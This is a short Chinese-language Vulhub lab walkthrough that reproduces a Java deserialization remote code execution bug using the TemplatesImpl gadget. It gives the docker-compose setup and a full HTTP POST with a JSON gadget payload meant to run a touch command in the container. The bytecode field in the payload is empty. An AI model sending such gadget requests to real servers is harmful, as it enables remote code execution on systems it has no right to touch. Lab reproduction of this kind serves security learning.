**一、靶场搭建**

1、Vulhub启动

docker-compose up -d

2、访问8080端口

**二、漏洞复现**

1、使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget，发送如下请求，将会执行touch /tmp/provel.txt命令

POST /exploit HTTP/1.1

Host: your-ip:8080

Accept-Encoding: gzip, deflate

Accept: \*/\*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 1298

{

"param": [

"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

{

"transletBytecodes": [

""

],

"transletName": "a.b",

"outputProperties": {}

}

]

}

2、查看docker容器，执行成功

